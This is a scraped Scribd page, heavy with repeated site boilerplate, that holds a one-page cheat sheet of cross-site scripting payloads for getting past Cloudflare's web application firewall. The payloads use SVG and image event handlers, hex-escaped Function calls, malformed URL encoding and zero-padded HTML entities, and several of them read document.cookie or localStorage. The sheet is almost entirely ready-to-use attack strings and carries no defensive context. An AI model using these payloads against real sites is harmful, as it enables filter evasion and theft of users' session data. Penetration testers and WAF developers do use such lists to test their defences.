Scribd Logo
Upload

Welcome to Scribd!

  • 289 views

    Cloudflare Xss Bypass Waf

    Uploaded by

    Robin Talaohu
    The document discusses various techniques to bypass the Cloudflare Web Application Firewall (WAF) and trigger cross-site scripting (XSS) vulnerabilities, including using incorrect URL encoding, adding superfluous leading zeros to bypass filters, and triggering prompts and alerts through the use of SVG, JavaScript, and encoded characters.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content

    You might also like

    Cloudflare Xss Bypass Waf

    Uploaded by

    Robin Talaohu
    289 views1 page
    The document discusses various techniques to bypass the Cloudflare Web Application Firewall (WAF) and trigger cross-site scripting (XSS) vulnerabilities, including using incorrect URL encoding, adding superfluous leading zeros to bypass filters, and triggering prompts and alerts through the use of SVG, JavaScript, and encoded characters.

    Original Description:

    Copyright

    © © All Rights Reserved

    Available Formats

    TXT, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    Report this Document
    The document discusses various techniques to bypass the Cloudflare Web Application Firewall (WAF) and trigger cross-site scripting (XSS) vulnerabilities, including using incorrect URL encoding, adding superfluous leading zeros to bypass filters, and triggering prompts and alerts through the use of SVG, JavaScript, and encoded characters.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    Download as txt, pdf, or txt
    289 views1 page

    Cloudflare Xss Bypass Waf

    Uploaded by

    Robin Talaohu
    The document discusses various techniques to bypass the Cloudflare Web Application Firewall (WAF) and trigger cross-site scripting (XSS) vulnerabilities, including using incorrect URL encoding, adding superfluous leading zeros to bypass filters, and triggering prompts and alerts through the use of SVG, JavaScript, and encoded characters.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    Download as txt, pdf, or txt
    of 1

    Cloudflare XSS WAF #Bypass

    <svg onx=() onload=(confirm)(1)>

    <svg onx=() onload=(confirm)(document.cookie)>

    <svg onx=() onload=(confirm)(JSON.stringify(localStorage))>

    Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();

    "><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie
    %26%2300000000000000000041;

    Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();

    "><onx=[] onmouseover=prompt(1)>

    Bypass cloudflare with incorrect url encoding :

    <script>alert()</script> blocked
    %2sscript%2ualert()%2s/script%2u -xss popup

    New CloudFlare XSS Bypass! :

    <svg onload=alert%26%230000000040"1")>

    "Onx=() onMouSeoVer=prompt(1)>"Onx=[]
    onMouSeoVer=prompt(1)>"/*/Onx=""//onfocus=prompt(1)>"//Onx=""/*/%01onfocus=prompt(1
    )>"%01onClick=prompt(1)>"%2501onclick=prompt(1)>"onClick="(prompt)
    (1)"Onclick="(prompt(1))"OnCliCk="(prompt`1`)"Onclick="([1].map(confirm))

    Bypass Pop Up :
    [1].map(confirm)'ale'+'rt'()a&Tab;l&Tab;e&Tab;r&Tab;t(1)prompt&lpar;1&rpar;prompt&#
    40;1&#41;prompt%26%2300000000000000000040;1%26%2300000000000000000041;(prompt())
    (prompt``)

    Cloudflare XSS Bypass via add 8 or more superfluous leading zeros for dec and 7 or
    more for hex.
    Dec: <svg onload=prompt%26%230000000040document.domain)>

    Hex: <svg onload=prompt%26%23x000000028;document.domain)>

    You might also like